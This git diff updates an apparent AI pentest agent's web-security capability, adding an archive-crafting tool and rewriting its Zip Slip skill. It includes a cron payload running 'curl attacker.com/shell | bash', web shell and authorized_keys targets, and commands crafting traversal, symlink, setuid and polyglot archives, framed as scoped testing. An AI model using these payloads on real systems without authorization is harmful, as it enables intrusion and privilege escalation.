diff --git a/capabilities/web-security/agents/web-security.md b/capabilities/web-security/agents/web-security.md index 484cc5e..ac918b6 100644 --- a/capabilities/web-security/agents/web-security.md +++ b/capabilities/web-security/agents/web-security.md @@ -88,6 +88,7 @@ Use tools proactively when they reduce uncertainty or verify a finding. Match th - Use `generate_rebinding_hostname` and `list_rebinding_presets` for DNS rebinding SSRF bypass when IP filters validate resolved addresses before fetching. - Use IP rotation (`flareprox_*` tools or the local `fireprox` CLI at `~/git/fireprox/fire.py`) only when `IPROTATE_ENABLED` is set and the target is rate-limiting, IP-banning, or WAF-blocking normal requests. Load the `ip-rotation` skill for backend selection and lifecycle. Always clean up fireprox proxies to avoid AWS charges. - Use the local `pacu` CLI when an authorized test yields AWS credentials, cloud metadata access, or another AWS-impact lead that needs validation. Load the `pacu-aws-exploitation` skill first, confirm AWS scope, and start with identity/read-only enumeration before any mutating module. +- When the target accepts or extracts archive uploads (ZIP, TAR, etc.), use the local `archive-alchemist` CLI at `~/git/archivealchemist/archive-alchemist.py` to craft malicious archives. Load the `archive-path-traversal` skill for the full attack pattern catalog and iterative workflow. - Use `log_image_output`, `log_audio_output`, and `log_video_output` when another tool has already written useful PoC media to disk and you need it attached to the current Dreadnode run as typed output. Use `log_file_artifact` when you want the raw file uploaded as an artifact instead of rendered media. - When a finding is browser-visible or a screenshot materially improves reproducibility, capture the screenshot and attach it to the run. Treat screenshot logging as standard evidence collection, not an optional flourish. - Use `bbscope_find` at the start of an engagement to check if a target is covered by any bug bounty program and retrieve scope boundaries. Use `bbscope_program` to get full in-scope/out-of-scope details for a specific program. Use `bbscope_targets` to enumerate targets by type (wildcards, domains, URLs, IPs, CIDRs) for reconnaissance. Use `bbscope_updates` to find freshly added targets that may be under-tested. diff --git a/capabilities/web-security/capability.yaml b/capabilities/web-security/capability.yaml index 2ecec99..e695f57 100644 --- a/capabilities/web-security/capability.yaml +++ b/capabilities/web-security/capability.yaml @@ -1,6 +1,6 @@ schema: 1 name: web-security -version: "1.1.3" +version: "1.1.4" description: > Web application penetration testing with 60+ attack technique playbooks covering request smuggling, cache poisoning, SSRF, SSTI, DOM @@ -8,8 +8,8 @@ description: > AEM/Sling exploitation, and client-side attacks. Includes HTTP client tooling, Caido proxy integration via MCP, credential management, DNS rebinding, AWS exploitation with Pacu, phone verification, - vulnerability verification, and IP rotation helpers (Flareprox, - fireprox) for bypassing rate limits and IP bans. + vulnerability verification, IP rotation helpers (Flareprox, fireprox), + and archive extraction vulnerability crafting with archivealchemist. mcp: servers: @@ -112,6 +112,8 @@ checks: command: command -v pacu - name: fireprox command: 'test -f "$HOME/git/fireprox/fire.py"' + - name: archivealchemist + command: 'test -f "$HOME/git/archivealchemist/archive-alchemist.py"' - name: jxscout command: command -v jxscout-pro-v2 @@ -137,3 +139,6 @@ keywords: - ip-rotation - waf-bypass - rate-limit-bypass + - archive-extraction + - zip-slip + - path-traversal diff --git a/capabilities/web-security/docker/Dockerfile.runtime b/capabilities/web-security/docker/Dockerfile.runtime index a5b1f63..111cf9d 100644 --- a/capabilities/web-security/docker/Dockerfile.runtime +++ b/capabilities/web-security/docker/Dockerfile.runtime @@ -122,6 +122,10 @@ RUN pip install --no-cache-dir \ RUN git clone --depth 1 https://github.com/ustayready/fireprox /root/git/fireprox \ && pip install --no-cache-dir -r /root/git/fireprox/requirements.txt +# ── archivealchemist (malicious archive crafter) ──────────────────── +# Pure Python CLI for Zip Slip, symlink, polyglot, and Unicode path confusion. +RUN git clone --depth 1 https://github.com/avlidienbrunn/archivealchemist /root/git/archivealchemist + # ── Clean up Go build cache ───────────────────────────────────────── RUN go clean -cache -modcache diff --git a/capabilities/web-security/scripts/install_tools.sh b/capabilities/web-security/scripts/install_tools.sh index 8ade306..d557838 100755 --- a/capabilities/web-security/scripts/install_tools.sh +++ b/capabilities/web-security/scripts/install_tools.sh @@ -119,6 +119,14 @@ if [ ! -d "$FIREPROX_DIR" ]; then fi pip install --break-system-packages -r "$FIREPROX_DIR/requirements.txt" +# -- archivealchemist (malicious archive crafter) --------------------------- +# Pure Python CLI for crafting Zip Slip, symlink, polyglot, and Unicode path +# confusion archives. Cloned to a predictable path for the agent prompt. +ARCHIVEALCHEMIST_DIR="$HOME/git/archivealchemist" +if [ ! -d "$ARCHIVEALCHEMIST_DIR" ]; then + git clone --depth 1 https://github.com/avlidienbrunn/archivealchemist "$ARCHIVEALCHEMIST_DIR" +fi + # -- Clean up Go build cache ----------------------------------------------- go clean -cache -modcache 2>/dev/null || true diff --git a/capabilities/web-security/skills/archive-path-traversal/SKILL.md b/capabilities/web-security/skills/archive-path-traversal/SKILL.md index 1305556..f0952b5 100644 --- a/capabilities/web-security/skills/archive-path-traversal/SKILL.md +++ b/capabilities/web-security/skills/archive-path-traversal/SKILL.md @@ -1,113 +1,115 @@ --- name: archive-path-traversal -description: "Zip Slip and archive extraction path traversal vulnerabilities. Use when target has file upload with archive extraction, plugin installers, backup restoration, or any feature that unpacks ZIP/TAR/JAR/WAR/APK archives." +description: Craft malicious archives (ZIP/TAR) to test extraction vulnerabilities including Zip Slip, symlink attacks, hardlink collisions, setuid escalation, polyglot bypasses, and Unicode path confusion. Use when a target accepts archive uploads or extracts archives server-side. Triggers on "archive upload", "zip slip", "tar extraction", "symlink", "hardlink", "polyglot", "archive alchemist", "extraction vulnerability". --- -# Archive Path Traversal (Zip Slip) +# Archive Path Traversal & Extraction Vulnerabilities -When an application extracts archive entries using the entry name directly as the output path without canonicalization, an attacker-controlled entry name like `../../../etc/cron.d/pwn` writes outside the intended directory. +Use this skill when the target accepts archive uploads (ZIP, TAR, tar.gz, tar.xz, tar.bz2) or otherwise extracts archives server-side. The web-security runtime includes **archivealchemist** at `~/git/archivealchemist/archive-alchemist.py` for crafting malicious archives. -## Vulnerable Code Patterns +## When to Use -See [references/vulnerable-code.md](references/vulnerable-code.md) for patterns in Java, Python, Node.js, Go, Ruby, and .NET. +Use archive extraction testing when you observe: -The bug is always the same: `entry.getName()` flows into a file path constructor without validation that the resolved path stays inside the target directory. +- Upload endpoints accepting `.zip`, `.tar`, `.tar.gz`, `.tar.xz`, `.tar.bz2` +- Server-side archive extraction (file import, bulk upload, theme/plugin import) +- Features that restore/back up data from archives +- Any flow where archive entries become files on disk -## Crafting Malicious Archives +## Tool Reference -```python -import zipfile +Tool path: `python3 ~/git/archivealchemist/archive-alchemist.py [options]` -with zipfile.ZipFile('evil.zip', 'w') as z: - z.writestr('../../var/www/html/shell.php', '') - z.writestr('../../etc/cron.d/pwn', '* * * * * root curl attacker.com/shell | bash\n') - z.writestr('readme.txt', 'Totally normal archive') -``` +### Commands -```bash -# Using evilarc -python evilarc.py shell.php -p "var/www/html" -d 3 -o unix +| Command | Purpose | +|---|---| +| `add` | Add files, symlinks, hardlinks, directories | +| `replace` | Replace entries or sync from a directory | +| `append` | Append content to an existing entry | +| `modify` | Change mode, uid, gid, mtime, convert to symlink/hardlink | +| `remove` / `rm` | Remove entries | +| `list` / `ls` | List archive contents | +| `extract` | Extract safely by default; `--vulnerable` for unsafe extraction | +| `read` / `cat` | Read a specific entry | +| `polyglot` | Prepend magic bytes to an archive | -# TAR archives -tar cf evil.tar --transform='s,^,../../etc/cron.d/,' pwn -``` +### Common Attack Patterns -## Exploitation Targets +#### Zip Slip (path traversal) -| Target File | Impact | OS | -|-------------|--------|-----| -| `../../var/www/html/shell.php` | Web shell (RCE) | Linux | -| `../../etc/cron.d/pwn` | Cron job (RCE) | Linux | -| `../../root/.ssh/authorized_keys` | SSH access | Linux | -| `../../WEB-INF/classes/Evil.class` | Java class injection | Java | -| `../../inetpub/wwwroot/cmd.aspx` | Web shell (IIS) | Windows | -| `.env` or `../../.env` | Environment variable override | Any | +```bash +python3 ~/git/archivealchemist/archive-alchemist.py zipslip.zip add "../../../tmp/evil.txt" --content "pwned" +``` -Chain with **write-path-to-rce** for framework view/template resolution that turns file write into RCE. +#### Symlink file read -## Bypassing Path Traversal Filters +```bash +python3 ~/git/archivealchemist/archive-alchemist.py symlink.tar -t tar add .bashrc --symlink "/etc/passwd" +``` -| Technique | Entry Name | Bypasses | -|-----------|-----------|----------| -| Backslash (Windows) | `..\..\wwwroot\shell.aspx` | Unix-only `../` check | -| Encoded slash | `..%2f..%2fetc/passwd` | String-based filter on raw name | -| Double-encoded | `..%252f..%252f` | Single decode + filter + second decode | -| Absolute path | `/etc/cron.d/pwn` | Relative path check only | -| Mixed separators | `..\/..\/etc/passwd` | Strict `../` match | +#### Symlink collision (write through symlink) -**Test order:** basic `../` first, then backslash, then encoded variants, then absolute paths. +```bash +python3 ~/git/archivealchemist/archive-alchemist.py collision.tar -t tar add config.txt --symlink "/tmp/target.txt" +python3 ~/git/archivealchemist/archive-alchemist.py collision.tar -t tar add config.txt --content "overwrite" +``` -## Symlink Attacks +#### Setuid escalation -Even if `../` in filenames is filtered, symlinks bypass path validation because the entry name itself is clean. +```bash +python3 ~/git/archivealchemist/archive-alchemist.py setuid.tar -t tar add exploit --content "#!/bin/sh\nwhoami" --mode 0755 --setuid --uid 0 +``` -### Two-Step Symlink Write +#### Polyglot MIME bypass -```python -import tarfile, io +```bash +python3 ~/git/archivealchemist/archive-alchemist.py polyglot.gif add payload.txt --content "hello there" +python3 ~/git/archivealchemist/archive-alchemist.py polyglot.gif polyglot --content "GIF89a" +``` -with tarfile.open('evil.tar', 'w') as t: - # Step 1: symlink "uploads" -> /var/www/html (clean name) - sym = tarfile.TarInfo(name='uploads') - sym.type = tarfile.SYMTYPE - sym.linkname = '/var/www/html' - t.addfile(sym) +#### Unicode path confusion - # Step 2: write through symlink (still no ../ in name) - shell = tarfile.TarInfo(name='uploads/shell.php') - shell.size = len(payload) - t.addfile(shell, io.BytesIO(payload.encode())) +```bash +python3 ~/git/archivealchemist/archive-alchemist.py weird.zip add file.txt --content "hello" --unicodepath notfile.txt ``` -Extraction order matters: symlink created first, then file write follows the symlink. Path validation sees `uploads/shell.php` as inside dest_dir. +## Iterative Working Directory Workflow -## Detection in Source Code +For complex archives, use a working directory and the `replace --content-directory` flow: ```bash -# Java -grep -rn "ZipEntry\|ZipInputStream\|JarEntry" --include="*.java" -# Python -grep -rn "zipfile\|tarfile\|extractall" --include="*.py" -# Node.js -grep -rn "adm-zip\|yauzl\|unzipper\|decompress" --include="*.js" --include="*.ts" -# Go -grep -rn "archive/zip\|archive/tar" --include="*.go" -# .NET -grep -rn "ZipArchive\|ZipFile" --include="*.cs" -# Then verify: is there path validation after entry name extraction? +# 1. Extract the original archive safely +python3 ~/git/archivealchemist/archive-alchemist.py target.zip extract -o workdir/ + +# 2. Modify files in workdir/ or add malicious entries + +# 3. Sync working directory back into a new archive +python3 ~/git/archivealchemist/archive-alchemist.py target_poc.zip replace --content-directory workdir/ "" + +# 4. Test target_poc.zip against the target + +# 5. Iterate ``` -## Testing Checklist +## Testing Procedure + +1. **Identify the extraction surface**: find upload/import/restore endpoints that accept archives. +2. **Fingerprint the extractor**: upload a benign archive and observe where files land, what filenames are preserved, whether symlinks survive, and whether permissions are honored. +3. **Start with Zip Slip**: most extractors fail to sanitize `../` sequences. Use a relative path traversal first. +4. **Test symlink/hardlink support**: if the extractor follows symlinks, escalate to reading/writing arbitrary files. +5. **Test polyglots**: if MIME type or magic-byte checks exist, prepend valid magic bytes to a ZIP archive. +6. **Test Unicode path confusion**: some extractors use the Unicode Path extra field instead of the local file header name. +7. **Check permission preservation**: if the extractor preserves permissions, setuid/setgid bits may lead to local privilege escalation. + +## Constraints -1. Identify all archive upload/extraction features -2. Determine archive format accepted (ZIP, TAR, JAR, etc.) -3. Craft malicious archive with `../` entry names -4. Upload and check: does extraction create files outside dest dir? -5. If blocked: try alternate traversal (backslash, encoded, symlink) -6. If file write confirmed: identify highest-impact target file -7. Chain with **write-path-to-rce** for code execution +- Do not test arbitrary write paths on production systems without scope confirmation. +- Prefer writing to predictable, non-destructive locations (e.g., `/tmp/` subdirectories) during initial validation. +- Some extractors strip symlinks, permissions, or traversal sequences; negative results for one pattern do not rule out others. +- Archive extraction is usually a gadget chained with other vulnerabilities (e.g., LFI, SSRF, file upload) to achieve real impact. -## Related Skills +## Prerequisites -- **write-path-to-rce** -- Escalate file write to RCE via framework resolution -- **custom-sanitizer-audit** -- If path sanitization exists but is bypassable +- `~/git/archivealchemist/archive-alchemist.py` must exist (installed by the runtime). +- Target must accept and extract archives.